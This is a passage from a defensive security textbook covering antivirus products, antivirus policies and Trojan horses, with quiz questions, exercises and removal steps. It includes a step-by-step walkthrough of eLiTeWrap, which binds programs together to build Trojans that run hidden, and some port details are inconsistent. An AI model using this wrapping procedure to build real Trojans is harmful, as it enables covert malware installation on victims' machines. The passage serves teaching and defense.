install itself with very little interaction from you. When you launch Norton, the initial screen, shown in [Figure 9-5](#), gives you valuable information. It lets you access security settings, performance settings, and more. This is quite critical information. If your virus definitions have not been updated recently, then you simply are not protected against the newest viruses. Knowing when the last full system scan was done tells you how safe your computer currently is. Of course, you will also need to know what types of scans are turned on in order to know what threats Norton is protecting you against.




FIGURE 9-5 The main Norton screen

If you select Scan for Viruses on the left, you are given a number of options, shown in Figure 9-6. You can scan floppy disks, removable media, hard drives, or particular files and folders. The larger the area you select to scan, the longer the scan will take.

When a scan is done, Norton lists all suspect files and gives you the option of quarantining, deleting, or ignoring them, as shown in Figure 9-7. A fascinating aspect of Norton is that it also detects many common hacking tools. In Figure 9-7 this computer had nothing malicious. If Norton had found something malicious, like the hacking tool John the Ripper, a password cracker, it would have alerted the user. This can be quite useful because any hacking tools on your machine that you did not put there can be a sign that your machine has been hacked and that the hacker is continuing to use your machine. The intruder may even be using your machine to launch attacks on other machines.




FIGURE 9-6 Scanning options with Norton AntiVirus




FIGURE 9-7 Norton scan results

You will have to navigate a bit, but Norton also provides reports. The exact location depends on the specific Norton product and version you have. It gives you access to the virus encyclopedia maintained by Norton, as well as a report of all scans done. In an organizational setting you should probably periodically print and file this report. This provides valuable information for an audit. When you run any of these reports, it documents the scans you did, for what viruses, and when you did

them. These can be kept so that during any future audits you can easily verify the steps you have taken to prevent virus infections.

Again, if you consider the four criteria we listed previously—budget, vulnerability, skill, and technical—Norton also rates quite well:

- It is very affordable. McAfee and Norton are both similarly priced.
- Different versions are available for different levels of vulnerability. Most commercial antivirus vendors offer a range of products for different situations.
- Its graphical interface makes configuring and using Norton as easy as performing the same tasks with McAfee.
- It is technically a very good scanner, using multiple modalities to scan for viruses. The fact that it also picks up hacking tools, in addition to viruses, is an added benefit.

Like McAfee, Norton is a solid choice for both home and business users. It provides an easy to use tool that is also quite effective.

Avast Antivirus

This product is offered for free for home, noncommercial uses. You can download the product from the vendor's website: www.avast.com/. You can also find professional versions, versions for Unix or Linux, and versions specifically for servers. Of particular interest is that this product is available in multiple languages including English, Dutch, Finnish, French, German, Spanish, Italian, and Hungarian. Figure 9-8 shows the main Avast screen.

If you download it, you can see that Avast opens up with a tutorial. This feature, combined with the fact that the home version is free, makes this a very attractive tool for the novice home user. The multilanguage and multioperating system supports make it attractive to many professionals. When it finds a virus, it sounds an alarm and then a voice states "Warning: There is a virus on your computer." However, when I scanned my PC with Avast, it did not detect the older hacking tools as items of concern, unlike Norton.




FIGURE 9-8 Avast Antivirus main screen

Let's use our four criteria we listed previously—budget, vulnerability, skill, and technical—to evaluate Avast:

- It is free, making it more affordable than either Norton or McAfee.
- There is a commercial version of Avast for enterprise settings.
- It also has a graphical interface making it easy to use, and the fact that it initially launches with a tutorial makes it ideal for the novice.

- It is a reasonably good scanner. However, it lacks added features such as McAfee's virus map and Norton's ability to pick up hacking tools.

For a commercial setting you should probably use Norton or McAfee. However, Avast is a good choice for the small office or home user. The fact that it is free means there is absolutely no reason why anyone should ever go without a virus scanner.

AVG

AVG antivirus has become quite popular. One reason is that there is a free version of it as well as a commercial version. The main screen is shown in Figure 9-9.

AVG is robust and full-featured antivirus software. It integrates with e-mail clients such as Microsoft Outlook and it also filters web traffic and downloads.



FIGURE 9-9 AVG Antivirus

Kaspersky

Kaspersky has been growing in popularity. It includes business and personal versions. Like most antivirus products it also includes additional features not directly related to detecting viruses. For example, Kaspersky includes an encrypted password vault to keep your passwords in, if you want to. You can see a screenshot in [Figure 9-10](#).




FIGURE 9-10 Kaspersky Internet Security

Panda

Panda (www.pandasoftware.com) is available in both commercial editions and free versions. The commercial version also comes with anti-spyware. Like Norton and McAfee, you can get a personal firewall bundled with the antivirus software. This product is available in English, French, and Spanish. This wide range of features makes this product a robust and effective solution.

Malwarebytes

This product is available from <https://www.malwarebytes.com/>. There is a free version of the product and a paid premium version. The interface is shown in [Figure 9-11](#).




FIGURE 9-11 Malwarebytes

Malwarebytes has a strong reputation in the industry, it is well regarded, and it's rather simple to use.

Other Virus Scanners

In addition to McAfee, Norton, Avast, Panda, and Malwarebytes, there are a number of other antivirus packages available on the Internet. A simple web search will reveal a plethora of antivirus products. As a security professional or a network administrator, it is critical that you be comfortable with multiple antivirus solutions and not simply rely on the most popular or widely known solution. It is important that you base decisions about what antivirus software to use on the facts regarding the product (how it works, ease of use, cost, etc.). The most popular product might not be the best product—or the ideal product—for your environment.

ANTIVIRUS POLICIES AND PROCEDURES

Examining how virus attacks spread and looking at specific attacks offers a clear picture of the dangers posed by viruses. We have also taken a look at how virus scanners work, including examining some commercial antivirus products. However, antivirus scanners are not the only facet of protecting yourself against viruses. In fact there are situations in which a virus scanner is simply not enough. You will need policies and procedures to complete your antivirus strategy. Policies and procedures are simply written rules that dictate certain actions that administrators and end users should take and other activities they should avoid. The following is a brief examination of appropriate antivirus policies. Policies will be discussed in greater detail in Chapter 11.

- Always use a virus scanner. McAfee, Norton, AVG, and Kaspersky are the four most widely known and used virus scanners. However, we have also examined other solutions. It costs only about \$30 a year to keep your virus scanner updated. It can cost much more to not do it.
- If you are not sure about an attachment, do not open it. When you have specifically requested a file from someone, then opening an attachment from

that person is probably safe. However, unexpected attachments are always cause for concern.

- Consider exchanging a code word with friends and colleagues. Tell them to put the code word in the title of the message if they wish to send you an attachment. Without the code word, do not open any attachment.
- Do not believe “security alerts” you are sent. Microsoft does not send out patches in this manner. Go check its website regularly, as well as one of the antivirus websites previously mentioned.
- Be skeptical of any e-mail you are sent. Keeping e-mail to official traffic will help reduce your danger. Jokes, flash movies, and so on simply should not be sent on a company e-mail system.
- Do not download files from the Internet. If you need a file downloaded, the IT department should do that, carefully scan the file, and then forward it to the user. Now clearly many people will choose to download files, so this admonition is an ideal that is unlikely to be realized. If you feel compelled to download files you should follow two simple rules:
 1. Only download from well-known, reputable sites.
 2. Download to a machine that is off the network

first. Then you can scan that system for viruses. In fact, if you do request your IT department download something for you, this is likely to be the process they use.

These policies will not make a system 100 % virus proof, but they will go a long way in protecting it. Feel free to expand upon them any way you see fit.

ADDITIONAL METHODS FOR DEFENDING YOUR SYSTEM

Installing and running antivirus software and having solid antivirus policies are both very important steps in protecting your system. In fact, many organizations use only these two steps. However, there are other important steps you can take to secure your system against virus attacks:

- Set all browsers to block active code (ActiveX, scripts, etc.). Be aware that this will render some websites unviewable. A compromise between security and usability would be to set all browsers to warn the user before executing any active code.
- Set all user accounts so that they cannot install software or change browser security settings.
- Segregate subnetworks (especially high-risk subnets

like college campus labs) and place a firewall that is tightly secured with its own virus scanning between that subnet and the rest of the network.

Clearly these items are extras. Many organizations do not segregate subnetworks nor do they block users from installing software or changing browser security settings. Many organizations are satisfied with simply installing antivirus scanners and setting up a few policies. However, if you want a truly complete antivirus strategy, these extra steps are part of that complete strategy.

WHAT TO DO IF YOUR SYSTEM IS INFECTED BY A VIRUS

The unfortunate reality is that no matter what steps you take to prevent virus infections, there is still a chance your system will become infected with a virus. The next question is, what do you do? Some facets of your response will depend upon the severity of the virus and how far it has spread, but generally you need to focus on three things:

- Stopping the spread of the virus.
- Removing the virus.
- Finding out how the infection started.

The following sections examine each in detail and explain how to accomplish them.

Stopping the Spread of the Virus

In the event of a virus infection, the first priority is to stop the spread of the infection. How this is done will, of course, depend on how far the virus has spread. If the virus has only affected one machine, you can simply disconnect that machine from the network. However, it is unlikely that you will detect a virus before it has spread beyond a single machine. Given that fact, you will generally wish to follow these steps:

- If the infection is on a segment of a WAN, then immediately disconnect from that WAN connection.
- If the infection is on a subnetwork, immediately disconnect that subnetwork.
- If there are servers with sensitive data that are connected (in any way) to the infected machine (or machines), disconnect those servers. This will prevent loss of sensitive data.
- If there are backup devices connected to the infected machine or machines, disconnect them. This will prevent your backup media from becoming infected.

Obviously, your goal is to avoid getting a virus on your system. However, should that unfortunate event occur, following these steps can minimize the damage and get your system back up and functioning in a shorter period of time.

Removing the Virus

Once you have isolated the infected machine or machines, the next step is to clean them. If you know the specific virus, then you should be able to remove it by running an antivirus program, or you should be able to find virus removal instructions on the Internet. In the highly unlikely event that you cannot remove the virus, then you may have no other choice but to format the machine (or machines) and restore them from backups. However, it must be stressed that such a situation is very unlikely.

If you do successfully remove the virus, you will want to scan the machine thoroughly for any other virus infections before reconnecting it to your network. You want to make absolutely certain it is completely clean before putting it back online.

Finding Out How the Infection Started

Once you have contained and removed the virus, the next goal is to see that it does not recur. This is best done by finding out how the virus got onto your system in the first place. To do this, you need to investigate the situation in three ways:

- Talk to users of the infected machines and see if anyone opened any e-mail attachments, downloaded anything, or installed anything. Since these are the three most likely avenues for virus infection, they should be checked first.
- Read any online documentation for that specific virus. It will tell you the normal method of propagation.
- If neither of those avenues tells you what occurred, check any activity logs that machine might have.

The key is to find out what went wrong in your current security strategy and correct it.

SUMMARY

Virus attacks, and even virus hoaxes, are arguably the greatest threat to computer networks. The sophistication of virus delivery methods is increasing, with worms becoming more and more common. There are a number of steps you can take to mitigate the dangers posed by computer virus outbreaks.

Clearly the first step is to use a virus scanner. However, you absolutely must have a firm understanding of how virus scanners work in order to select the appropriate scanner for your situation. There are a variety of commercial and free antivirus solutions. Any security professional should be familiar with several of these. After installing and configuring an antivirus solution, the next step is establishing written policies and procedures. It is critical that you detail exactly how you want end users to use the system tools. Any situation you do not cover in your policies is an opportunity for a virus infection. Finally, you can take even more serious steps including blocking users from installing software, securely configuring the browser, and separating subnetworks in order to limit the spread of any virus that might infect your machines. Combining antivirus software with secure configuration of your systems, routine patching of software, firewalls, and sound security policies results in more complete protection.

While the various topics in this book are segmented into chapters, it is critical that you remember that a complete security strategy must have all these elements working together.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. In addition to any malicious payload, what is the most common way a virus or worm causes harm to a system?
 - A. By increasing network traffic and overloading the system
 - B. By overfilling your inbox
 - C. By executing a DoS attack on a host
 - D. By containing a Trojan horse
2. What differentiates a virus from a worm?
 - A. Worms spread farther than viruses.
 - B. Worms are more likely to harm the infected system.
 - C. Worms propagate without human intervention.

- D.** Worms delete system files more often than viruses do.
- 3.** Which of the following is the primary reason that Microsoft Outlook is so often a target for virus attacks?
- A.** Many hackers dislike Microsoft.
 - B.** Outlook copies virus files faster.
 - C.** It is easy to write programs that access Outlook's inner mechanisms.
 - D.** Outlook is more common than other e-mail systems.
- 4.** What is the most common method of virus propagation?
- A.** On infected floppy disks
 - B.** On infected CDs
 - C.** Through instant messaging attachments
 - D.** Through e-mail attachments
- 5.** Which of the following did the most to contribute to the wide spread of the Zafi.d worm?
- A.** It claimed to be from the IRS.
 - B.** It claimed to be a holiday card and was released just prior to a major holiday.
 - C.** It used a script attachment rather than active

code.

D. It used active code rather than a script attachment.

6. What was the most dangerous aspect of Zafi.d?

A. It deleted the registry.

B. It tried to overwrite parts of virus scanners.

C. It attempted to overwrite key system files.

D. It sent out information about the infected computer.

7. What was the primary propagation method for the Kedi RAT virus?

A. It used its own SMTP engine to e-mail itself.

B. It “piggybacked” off of MS Outlook.

C. It was on infected floppy disks.

D. It was attached to Flash animations.

8. What additional malicious activity did the Rombertik virus attempt?

A. It overwrote the master boot record.

B. It tried to overwrite parts of virus scanners.

C. It attempted to overwrite key system files.

D. It sent out information about the infected computer.

- 9.** What was the taxpayer virus hoax?
- A.** An e-mail that claimed that online tax submissions were infected and unsafe
 - B.** An e-mail that tried to get the victim to send tax checks to a phony address
 - C.** A virus that deleted all tax-related files from the target computer
 - D.** A virus that infected the U.S. Internal Revenue Service in 2003
- 10.** In the context of viruses, what is a .dat file?
- A.** A file containing system information
 - B.** A file that is infected
 - C.** A file with corrupt data
 - D.** A file with virus definitions
- 11.** What is heuristic scanning?
- A.** Scanning using a rules-based approach
 - B.** Scanning based on a virus definition file
 - C.** Scanning only system management areas (registry, boot sector, etc.)
 - D.** Scheduled scanning
- 12.** What is active code scanning?
- A.** Scanning that is occurring all the time (i.e.,

actively)

- B.** Scanning for active web elements (scripts, ActiveX, and so on)
 - C.** Actively scanning for malicious code
 - D.** Actively scanning for worms
- 13.** Which of the following should be the least important consideration when purchasing antivirus software?
- A.** The type of scanning the software uses
 - B.** How quickly the software updates in response to new viruses
 - C.** How easy it is to configure and use
 - D.** Cost of the software
- 14.** Which of the following is a useful feature in McAfee not found in most other antivirus solutions?
- A.** It does a pre-installation scan.
 - B.** It starts with a tutorial for new users.
 - C.** Its main screen has a security rating for your system.
 - D.** It uses heuristic scanning.
- 15.** Which of the following is a useful feature in Norton AntiVirus not found in most other antivirus

solutions?

- A.** It does a pre-installation scan.
- B.** It starts with a tutorial for new users.
- C.** Its main screen has a security rating for your system.
- D.** It uses heuristic scanning.

16. Which of the following is a useful feature in Avast antivirus not found in most other antivirus solutions?

- A.** It does a pre-installation scan.
- B.** It starts with a tutorial for new users.
- C.** Its main screen has a security rating for your system.
- D.** It uses heuristic scanning.

EXERCISES

Note: These exercises will have you working with different antivirus products. It is critical that you uninstall one product before installing and using another.

EXERCISE 9.1: Using McAfee

- 1.** Download the trial edition of McAfee.

2. Scan your machine.
3. Note what security rating the main McAfee screen gives your PC and the reasons why.
4. Note what the virus detector finds.
5. Experiment with settings and options, particularly scheduling.

EXERCISE 9.2: Using Norton

Note: If you did all of the projects in Chapter 2, then this first exercise will be familiar. However, here you will be asked to compare Norton with other antivirus solutions.

1. Download the trial edition of Norton AntiVirus.
2. Pay particular attention to the pre-install scan.
3. Scan your machine.
4. Note what the virus detector finds.
5. Experiment with settings and options, particularly scheduling.

EXERCISE 9.3: Using Avast Antivirus

1. Download the trial edition of Avast antivirus.
2. Scan your machine.

3. Examine the initial tutorial. Is it adequate for a novice user?
4. Note what the virus detector finds.
5. Experiment with settings and options, particularly scheduling.

EXERCISE 9.4: Using Malwarebytes Antivirus

1. Download the trial edition of Malwarebytes antivirus.
2. Scan your machine.
3. Note any features of Malwarebytes that the other virus scanners do not have.
4. Note what the virus detector finds.
5. Experiment with settings and options, particularly scheduling.

EXERCISE 9.5: Using Panda Antivirus

1. Download the trial edition of Panda antivirus.
2. Scan your machine.
3. Note any features of Panda that the other virus scanners do not have.
4. Note what the virus detector finds.

5. Experiment with settings and options, particularly scheduling.

PROJECTS

PROJECT 9.1: Comparing Antivirus Software

Compare the features of four antivirus packages, paying particular attention to:

1. Items that are unique to one solution.
2. What each scanner picks up (i.e., if they are all used to scan the same folder, do they all detect the same items?).

PROJECT 9.2: Researching a Virus

1. Using various web resources, find a new virus active in the last 90 days.
2. Describe how the virus propagates, what it does, and how widely it has spread (the McAfee virus map should help you with that).
3. Describe any known damage the virus has caused.
4. Describe measures being taken to combat the virus.

PROJECT 9.3: Antivirus Policies

For this project you need to consult several antivirus policy documents (listed below). You will find some items in common, and some that exist in only some of them. Identify those items in common to all of these sources (thus indicating all the sources find them to be important) and explain why those are so critical.

- SANS Institute lab antivirus policies:

<https://www.sans.org/security-resources/policies/retired/pdf/anti-virus-guidelines>



<http://searchsecurity.techtarget.com/tip/Developing-an-antivirus-policy>

- Western Michigan University's antivirus policy:

<https://wmich.edu/it/policies/antivirus>

Chapter 10

Defending Against Trojan Horses, Spyware, and Adware

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Describe Trojan horses.
- Take steps to prevent Trojan horse attacks.
- Describe spyware.
- Use anti-spyware software.
- Create anti-spyware policies.

INTRODUCTION

Chapter 2, “Types of Attacks,” introduced Trojan horses and the threat they pose to a network and Chapter 8 expanded upon that. Trojan horse programs are a common threat for any system connected to the Internet. They are a particular problem if your users download software, screen savers, or documents from the Internet. Trojan horses are not quite as widespread as virus attacks or DoS attacks, but they are certainly a real threat to your systems. In order to have a secure network you must take steps to protect your network from Trojan horse attacks. In this chapter you will learn about some well-known Trojan horse attacks and steps you can take to reduce the danger from these attacks.

In the past few years spyware has become an increasingly dangerous problem for computer users, both at home and in organizations. Many websites now drop spyware, or its close relative, adware, onto users’ systems whenever the users open the website. Aside from the obvious threat to information security, these applications consume system resources. In this chapter we will examine the threats posed by spyware as well as methods you can use to combat them.

In addition to the defense methods described in this chapter, it should be noted that the antivirus defenses

discussed in Chapter 9, “Defending Against Virus Attacks,” would also be helpful in combating Trojan horses and spyware. These are all examples of malware.

TROJAN HORSES

As Chapters 2 and 8, “Operating System Hardening,” explained, a Trojan horse is an application that appears to have a benign purpose but actually performs some malicious function. This subterfuge is what makes these applications such a dangerous threat to your system. The Internet is full of useful utilities (including many security tools), screen savers, images, and documents. Most Internet users do download some of these things. Creating an attractive download that has a malicious payload is an effective way of gaining access to a person’s computer.

One defense against Trojan horses is to prevent all downloading, but that is not particularly practical. The wonder and value of the Internet is the easy access it provides to such a wide variety of information—restricting that access in such a draconian manner subverts one of the most important reasons for giving employees Internet access. Instead of using such a heavy-handed tactic, you will learn other ways to protect your systems from Trojan horses.

Once you have a Trojan horse on your system, it may perform any number of unwanted activities. Some of the most common actions Trojan horses take include:

- Erasing files on a computer.
- Spreading other malware, such as viruses. Another term for a Trojan horse that does this is a dropper.
- Using the host computer to launch distributed denial of service (DDoS) attacks or send spam.
- Searching for personal information such as bank account data.
- Installing a back door on a computer system. This means providing the creator of the Trojan horse easy access to the system, such as creating a username and password she can use to access the system.

Of the items on the above list, installing back doors and executing distributed denial of service attacks are probably the most frequent results of a Trojan horse attack, though installing spyware and dropping viruses are becoming much more common as well.

Identifying Trojan Horses

In this section you will first learn about some well-known Trojan horse attacks that have occurred in the past. This will give you an idea of how these applications actually work. You will then explore some of the methods and procedures you can implement to ameliorate the danger.

Back Orifice

This rather crudely named Trojan horse is perhaps the most famous of the Trojan horses. It is quite old, but it is an infamous part of malware/Trojan horse history. Back Orifice is a remote administration system that allows a user to control a computer across a TCP/IP connection using a simple console or GUI application. Some users download it thinking it is a benign administrative utility they can use. Others download it without even realizing they are downloading it. Back Orifice gives the remote user as much, if not more, control of the target machine than the person who downloaded it.

FYI: Is It a Trojan Horse?

Some experts argue that Back Orifice and a few other attacks such as NetBus (introduced a bit later) are not actually Trojan horses because they do not

appear to be legitimate applications. Other experts, including the author, feel this is incorrect for the following reasons:

- These programs can be attached to legitimate applications, creating a textbook example of a Trojan horse.
- Some users download the program thinking it is a legitimate administrative tool.
- Some users have the program downloaded without their knowledge while visiting some website. The website combined with the payload creates a Trojan horse.

Back Orifice is small and entirely self-installing. Simply executing the server on any Windows machine installs the server. Back Orifice can also be attached to any other Windows executable, which will run normally after installing the server. In other words, it can be attached to a legitimate program the user downloads, thus installing Back Orifice in the background. Even more insidious is the fact that Back Orifice does not show up in the task list or close-program list. This program is also launched every time the computer is started. The remote administrative screen that Back Orifice provides the intruders is shown in Figure 10-1. This figure should give you some idea of just how much an intruder can do

to your system with this utility.




FIGURE 10-1 The Back Orifice screen

Cauti

Registry Settings

Any change to the Windows Registry must be undertaken cautiously. Always be very careful, and if you are unsure of yourself, simply do not do it. You may wish to try this first on a lab machine rather than a live system.

Back Orifice is a very old Trojan and discussed here as an example. You are not likely to see it today. If you are already infected with Back Orifice (or wish to check to see if you are), going through the registry is the best way to remove it:

1. Click Start.
2. Click Run, and then type **Regedit**.
3. Using the arrows to expand the branches, locate the following key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentV

4. Double-click on the (default) “key.” This opens a dialog box that shows the key and its current value (Value data), which is “.exe.” Select this key and press Delete (not Backspace), and then click OK.
5. Close Regedit and reboot your machine.
6. Go to your command prompt and type **del**
c:\windows\system\exe~1.

NO

Sometimes Windows moves a key or even removes it in newer versions of Windows. Depending on the version of Windows you are running, you might not have this specific key, or it might be in a different location. You may have to do some searching on Microsoft TechNet.

Anti-Spyware 2011

Anti-Spyware 2011 is a Trojan that can infect Windows client machines including XP, Vista, and Windows 7. This Trojan poses as an anti-spyware program. It actually disables security-related processes of antivirus programs, while also blocking access to the Internet, which prevents updates. After this program is on your computer it will alter the Windows Registry so it is in the startup group. While the machine is infected the user will receive a number of false security messages. This is not a new program; there were almost identical previous versions such as Windows anti-spyware. This is one example, and while the date may seem old, there are plenty of fake antiviruses and fake anti-spyware programs for Windows and Macintosh that are in actuality Trojan horses.

Shedun

Shedun is a specific type of malware that was first discovered in 2015 and targets Android systems. The attack vector of this Trojan is to repackage legitimate Android applications such as Facebook or the game Candy Crush, but to include adware with them. The goal is to get the adware onto the target system, then inundate the user with ads.

Brain Test

Brain Test is another Android Trojan horse that was also discovered in 2015. It appears as an IQ test application. However, it is far more malicious than Shedun. It does not simply deliver adware, but instead installs a rootkit on the target system.

FinFisher

This product is interesting because it was developed by a private company, but exclusively for sale to law enforcement agencies. It can spread in many ways, but relevant to this chapter, it can appear as a software update. However, what it ultimately installs on the target system is spyware. This was designed for law enforcement agencies, presumably with a valid warrant, to use on suspects' computers. However, the entire suite of FinFisher products was released by WikiLeaks in 2011 and has been found on numerous computers since that time.

NetBus

The NetBus Trojan is quite similar in effect to Back Orifice. A NetBus worm tries to infect target machines with the NetBus Trojan. This tool is a remote administration tool (often called a RAT), much like Back Orifice. NetBus, however, operates only on port 20034. It gives the remote user complete control of the infected machine, as if he were sitting at the keyboard and had full administrative rights. The NetBus administration screen is shown in [Figure 10-2](#). You can see that the intruder can accomplish a variety of high-level tasks on the infected machine.




FIGURE 10-2 The NetBus administration screen

It is a simple matter to check whether your computer is infected with NetBus. Simply go to your command

prompt and telnet with one of the following commands.
If you get a response, you are probably infected. Use of the Loop back command:

```
telnet 127.0.0.1 12345
```

```
telnet 127.0.0.1 12346
```

If you are infected, then removal is best accomplished via the registry by following these steps:

1. Using regedit.exe find the key
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVers
2. Delete the key 666.
3. Reboot the computer.
4. Delete the file SKA.EXE in the Windows system directory.

FlashBack

The FlashBack Trojan was first discovered in 2011. Though that is a bit dated, it should be noted that this Trojan horse specifically affected computers running Mac OS X. The infection came from redirecting the user to a site that had an applet containing an exploit. That caused the malware to be downloaded.

GameOver Zeus

This Trojan was very active in 2014 to 2016 and is still found as of this writing. It is first notable because it is based on components of the older Zeus Trojan. Secondly, it is interesting because it set up an encrypted peer-to-peer botnet allowing the perpetrator to control infected computers.

Linux Trojan Horses

It is common to find proponents of non-Microsoft operating systems touting the superior security of their systems. It is true that there are certain features in many Microsoft products that seem to favor usability over security. However, it has been the contention of some security experts that much of the apparently better security for non-Microsoft operating systems stems from the fact that they have a much smaller share of the PC market and are therefore less attractive targets to the creators of malware. As these operating systems become more popular, we will see more attacks focused on them. In fact, there have already been Trojan horses aimed specifically at Linux.

There are a number of utilities available for Linux. Most ship with Linux distributions, but it is common for Linux users to download updates to these from the

Internet. The util-linux file is one such download that includes several essential utilities for Linux systems. A Trojan horse was placed in the file util-linux-2.9g.tar.gz on at least one FTP server between January 22, 1999, and January 24, 1999. This Trojan horse could have been distributed to mirror FTP sites. It is impossible to tell how many mirror sites had this file or how many users downloaded it. The age of this Trojan horse should tell you that threats to Linux system are nothing new. With the growing popularity of Linux you should expect to see even more.

This particular Trojan horse was a classic backdoor Trojan. Within the Trojan horse util-linux distribution, the program /bin/login was altered. The changes included code to send e-mail to the Trojan horse creator that contained the host name and logon information of users logging in. The distributors of the legitimate util-linux package updated their site with a new version; however, it is impossible to determine how many systems installed the Trojan version or how many systems were compromised as a result.

Portal of Doom

This is an old one, but a classic example. This Trojan horse is also a backdoor administration tool. It gives the remote user a great deal of control over the infected system. The actions remote users can take, if they get control of your system via Portal of Doom, include but are not limited to:

- Opening and closing the CD tray
- Shutting down the system
- Opening files or programs
- Accessing drives
- Changing the password
- Logging keystrokes
- Taking screenshots

Portal of Doom is quite similar to Back Orifice and NetBus. It is easy to use and has a graphical user interface, as you can see in [Figure 10-3](#).




FIGURE 10-3 The Portal of Doom administrative screen

You can manually remove this Trojan horse with the following steps:

1. Remove the String key in the registry located at
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVers
2. Use the task manager to shut down the process for
ljsgz.exe. If you cannot shut it down, then reboot the
machine. Now that you have altered the registry, the
ljsgz.exe program will not start up again.
3. Delete the file ljsgz.exe from the Windows system
directory.

Symptoms of a Trojan Horse

It is difficult to determine whether your system is the victim of a Trojan horse. There are a number of symptoms that might indicate that you have a Trojan horse. Assuming, of course, that you or another legitimate user are not making these changes, such symptoms include:

- Home page for your browser changing
- Any change to passwords, usernames, accounts, etc.
- Any changes to screen savers, mouse settings, backgrounds, etc.
- Any device (such as a CD door) seeming to work on its own


Any of these changes are symptoms of a Trojan horse and indicate your system is probably infected.

Why So Many Trojan Horses?

Why do we see so many Trojan horses? I actually wonder why we don't see more. A variety of tools are available on the Internet, for free, that allow one to create a Trojan horse. One simple example is eLiTeWrap, shown in [Figure 10-4](#), which you can download for free after searching on Google. It is a simple command-line tool that is remarkably easy to use:

- 1.** Open a command window.
- 2.** Navigate to the folder you put eLiTeWrap in.
- 3.** Make sure two programs are in the folder (one carrier program and the other the program you want to attach).
- 4.** Type in the filename you want to run that is visible.
- 5.** Type in the operation:
 - a.** Pack only
 - b.** Pack and execute, visible, asynchronously
 - c.** Pack and execute, hidden, asynchronously
 - d.** Pack and execute, visible, synchronously
 - e.** Pack and execute, hidden, synchronously
 - f.** Execute only, visible, asynchronously
 - g.** Execute only, hidden, asynchronously

- h. Execute only, visible, synchronously
 - i. Execute only, hidden, synchronously
6. Go to the command line.
 7. Type in the second file (the item you are surreptitiously installing).
 8. Type in the operation.
 9. When you're done with the files, press Enter.



```
Administrator: C:\Windows\system32\cmd.exe

D:\projects\teaching\Certified Ethical Hacker\software\elitemwrap>elitemwrap

eLiTeWrap 1.04 - (C) Tom "eLiTe" McIntyre
tom@holodeck.f9.co.uk
http://www.holodeck.f9.co.uk/elitemwrap

Stub size: 7712 bytes

Enter name of output file: elitetest.exe
Perform CRC-32 checking? [y/n]: y
Operations: 1 - Pack only
            2 - Pack and execute, visible, asynchronously
            3 - Pack and execute, hidden, asynchronously
            4 - Pack and execute, visible, synchronously
            5 - Pack and execute, hidden, synchronously
            6 - Execute only, visible, asynchronously
            7 - Execute only, hidden, asynchronously
            8 - Execute only, visible, synchronously
            9 - Execute only, hidden, synchronously

Enter package file #1: calc.exe
Enter operation: 2
Enter command line: calc.exe
Enter package file #2: notepad.exe
Enter operation: 5
Enter command line: notepad.exe
Enter package file #3:
All done :)

D:\projects\teaching\Certified Ethical Hacker\software\elitemwrap>_
```

FIGURE 10-4 eLiTeWrap

In Practice

When considering any tool that might be considered a “hacking tool” you should first check to see if it violates your company’s policy to even have such a tool. Secondly, it is probably not a wise idea to travel internationally with such tools in your possession. Laws vary from country to country and I cannot guarantee what the reaction will be if a particular country’s authorities discover such tools on your laptop, portable media, or otherwise in your possession.

eLiTeWrap is only one example. Many other tools are available on the Internet that will allow you to create Trojan horses. This tool can be used in a classroom setting, if you make sure that the two programs are actually innocuous and are used only for demonstration purposes. This program should show you how easily one can create a Trojan horse and why you should be careful downloading programs and utilities.

Preventing Trojan Horses

We have looked at several real-world Trojan horses, which should give you a good understanding of how they work. The real question is, how do you prevent your systems from being exploited by a Trojan horse? The answer is a hybrid approach using both technological measures and policy measures.

Technological Measures

There are several technological measures that can protect your systems from the threat of Trojan horses. These measures are, of course, not a guarantee against Trojan horse attacks, but they can certainly provide a reasonable level of safety:

- Recall that NetBus worked using port 20034. This is yet another reason for blocking all unneeded ports on all machines, not just the servers or the firewall. A system that has port 20034 blocked on all servers, workstations, and routers is not susceptible to NetBus. If one of the network machines is infected with NetBus, it would be unusable by the attacker.
- Antivirus software is yet another way to reduce the dangers of Trojan horse attacks. Most antivirus software scans for known Trojan horses as well as viruses. Keeping antivirus software on all machines

updated and properly configured can be a great help in preventing Trojan horse infections.

- Preventing active code in your browser can also help reduce the risk of Trojan horses. It will prevent users from viewing certain animations, but it can also stop several avenues for introducing a Trojan horse into your systems. At a minimum your browser should be set to warn users and get their approval prior to running any active code.
- You are probably already aware that, as a matter of general computer security policy, you should always give users the minimum privileges they need to perform their job tasks. This policy is particularly helpful with protecting against Trojan horses. If an end user cannot install software on her machine, it is more difficult for her to inadvertently install a Trojan horse.

Policy Measures

Technology can go only so far in any facet of computer security, and protecting against Trojan horses is no different. End-user policies are a critical part of protecting against Trojan horses. Fortunately, a few simple policies can greatly aid in protecting your system. You will probably note that many of these policies are the same ones used to protect your network from virus attacks.

- Never download any attachment unless you are completely certain it is safe. This means that unless you specifically requested an attachment, or at least expected one, and unless that attachment matches what you expected (i.e., is named appropriately, right format, etc.) do not download it.
- If a port is not needed, close it. Table 10-1 lists ports used by well-known Trojan horses. This list is by no means exhaustive but should give you an idea of just how vulnerable your systems are if you are not shutting down unneeded ports.
- Do not download or install any software, browser skins, toolbars, screen savers, or animations on your machine. If you require one of these items, have the IT department scan it first to ensure safety.

- Be cautious of hidden file extensions. For example, a file you think is an image could be a malicious application. Instead of mypic.jpg, it may actually be mypic.jpg.exe.

TABLE 10-1 Ports Used by Well-Known Trojan Horses

Port(s) Used	Trojan Horse
57341	NetRaider
54320	Back Orifice 2000
37651	Yet Another Trojan (YAT)
33270	Trinity
31337 and 31338	Back Orifice
12624	Buttman
9872–9872, 3700	Portal of Doom (POD)
7300–7308	Net Monitor
2583	WinCrash

SPYWARE AND ADWARE

Spyware is a growing problem both for home computer users and for organizations. There is, of course, the risk that such applications might compromise some sensitive information. There is also the problem of these applications simply consuming too much of your system's resources. Spyware and adware both use memory. If your system has too many such applications, then they can consume so much of your system's resources that your legitimate software will have trouble running. I have personally seen computers that had so much spyware/adware running that the machine became unusable.

The primary difference between spyware and adware is what they do on your machine. They both infect your machine in the same manner. Spyware seeks to get information from your machine and make it available to some other person. This can be done in a number of ways. Adware seeks to create pop-up ads on your machine. Because these ads are not generated by the web browser, many traditional pop-up blockers will not stop them.

